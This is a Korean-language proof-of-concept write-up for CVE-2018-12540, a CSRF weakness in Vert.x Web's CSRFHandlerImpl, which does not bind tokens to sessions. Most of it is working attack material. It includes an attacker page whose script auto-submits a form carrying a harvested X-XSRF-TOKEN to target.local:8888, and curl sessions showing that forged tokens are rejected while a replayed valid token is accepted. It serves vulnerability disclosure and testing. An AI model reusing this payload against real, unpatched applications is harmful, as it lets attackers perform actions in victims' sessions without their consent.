
Vert.X CSRF 개념 증명 (CVE-2018-12540)
io.vertx.ext.web.handler.impl.CSRFHandlerImpl (Vert.x Web의 CSRFHandlerImpl)은 사용자 세션별로 고유한 CSRF 토큰을 생성하지 않습니다. 악의적인 웹사이트는 유효한 CSRF 토큰을 획득하여 HTML 폼에 추가한 후 취약한 웹 애플리케이션에 폼을 제출함으로써 CSRF를 여전히 수행할 수 있습니다.
현재, 사전 검증(pre-flight) CORS OPTIONS HTTP 요청이 XMLHTTPRequests를 통한 CSRF를 방지하지만, 사전 검증 요청을 우회할 수 있는 방법이 있을 수 있습니다.
mvn clean package
애플리케이션은 HTTP 엔드포인트를 시작합니다:
공격자와 대상이 동일한 도메인에 있지 않도록 target.local에 대한 호스트 항목을 생성하십시오.
공격자 웹 서버는 자동으로 target.local:8888 웹페이지를 폴링하여 유효한 XSRF 토큰을 얻습니다. 사용자가 브라우저에서 http://localhost:7777로 이동하면 유효한 X-XSRF-TOKEN 폼 속성을 가진 폼이 포함된 iframe이 포함된 HTML 페이지가 렌더링됩니다. 해당 폼은 자동으로 target.local:8888에 제출됩니다.
java -jar target/vertx-xsrf-1.0-SNAPSHOT-fat.jar

<html>
<head>
</head>
<body>
<script>
var xsrftoken = "eWVJYuhAGvXRuaJFwiY7LBDg6Bk0/llUKea9Q8gIWxY=.1528880809229.awJQ69rmd18ATeEVqH0XC1EAjKXYfzPcIEAse9+ym1o=";
var f = document.createElement("form");
f.setAttribute('method', "post");
f.setAttribute('action', "http://target.local:8888/token");
var i = document.createElement("input");
i.setAttribute('type', "text");
i.setAttribute('name', "X-XSRF-TOKEN");
i.setAttribute('value',xsrftoken);
var s = document.createElement("input");
s.setAttribute('type', "submit");
s.setAttribute('value', "Submit");
f.appendChild(i);
f.appendChild(s);
document.getElementsByTagName('body')[0].appendChild(f);
f.submit();
</script>
</body>
</html>
curl http://target.local:8888/token -v
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to target.local (127.0.0.1) port 8888 (#0)
> GET /token HTTP/1.1
> Host: target.local:8888
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Length: 8
< Set-Cookie: XSRF-TOKEN=KXTHspnG6reKqXCzpLPj0glJlO5DeMogcl5cuVVNUQg=.1528880169033.xENGuHNUEXi33wdIkIH+Hlq7PSS+0QJgFQbOIVPnYq8=; Path=/
< Set-Cookie: vertx-web.session=13c681351dee77d572f4f9b16d0c65a5; Path=/
<
* Connection #0 to host target.local left intact
Success!
curl -X POST http://target.local:8888/token -v
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to target.local (127.0.0.1) port 8888 (#0)
> POST /token HTTP/1.1
> Host: target.local:8888
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 403 Forbidden
< Content-Length: 9
<
* Connection #0 to host target.local left intact
Forbidden
curl -X POST -H 'X-XSRF-TOKEN: THISISNOTAVALIDTOKENPj0glJlO5DeMogcl5cuVVNUQg=.1528880169033.xENGuHNUEXi33wdIkIH+Hlq7PSS+0QJgFQbOIVPnYq8=' http://target.local:8888/token -v
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to target.local (127.0.0.1) port 8888 (#0)
> POST /token HTTP/1.1
> Host: target.local:8888
> User-Agent: curl/7.54.0
> Accept: */*
> X-XSRF-TOKEN: THISISNOTAVALIDTOKENPj0glJlO5DeMogcl5cuVVNUQg=.1528880169033.xENGuHNUEXi33wdIkIH+Hlq7PSS+0QJgFQbOIVPnYq8=
>
< HTTP/1.1 403 Forbidden
< Content-Length: 9
<
* Connection #0 to host target.local left intact
Forbidden
curl -X POST -H 'X-XSRF-TOKEN: KXTHspnG6reKqXCzpLPj0glJlO5DeMogcl5cuVVNUQg=.1528880169033.xENGuHNUEXi33wdIkIH+Hlq7PSS+0QJgFQbOIVPnYq8=' http://target.local:8888/token -v
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to target.local (127.0.0.1) port 8888 (#0)
> POST /token HTTP/1.1
> Host: target.local:8888
> User-Agent: curl/7.54.0
> Accept: */*
> X-XSRF-TOKEN: KXTHspnG6reKqXCzpLPj0glJlO5DeMogcl5cuVVNUQg=.1528880169033.xENGuHNUEXi33wdIkIH+Hlq7PSS+0QJgFQbOIVPnYq8=
>
< HTTP/1.1 200 OK
< Content-Length: 8
< Set-Cookie: vertx-web.session=23b96851535d983b458e92280ffe49f5; Path=/
<
* Connection #0 to host target.local left intact
Success!
curl --data 'X-XSRF-TOKEN=THISISNOTAVALIDTOKENPj0glJlO5DeMogcl5cuVVNUQg%3D.1528880169033.xENGuHNUEXi33wdIkIH%2BHlq7PSS%2B0QJgFQbOIVPnYq8%3D' http://target.local:8888/token -v
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to target.local (127.0.0.1) port 8888 (#0)
> POST /token HTTP/1.1
> Host: target.local:8888
> User-Agent: curl/7.54.0
> Accept: */*
> Content-Length: 126
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 126 out of 126 bytes
< HTTP/1.1 403 Forbidden
< Content-Length: 9
<
* Connection #0 to host target.local left intact
Forbidden
curl --data 'X-XSRF-TOKEN=KXTHspnG6reKqXCzpLPj0glJlO5DeMogcl5cuVVNUQg%3D.1528880169033.xENGuHNUEXi33wdIkIH%2BHlq7PSS%2B0QJgFQbOIVPnYq8%3D' http://target.local:8888/token -v
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to target.local (127.0.0.1) port 8888 (#0)
> POST /token HTTP/1.1
> Host: target.local:8888
> User-Agent: curl/7.54.0
> Accept: */*
> Content-Length: 124
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 124 out of 124 bytes
< HTTP/1.1 200 OK
< Content-Length: 8
< Set-Cookie: vertx-web.session=50deb90796d7babc77860be5ae36ae0e; Path=/
<
* Connection #0 to host target.local left intact
Success!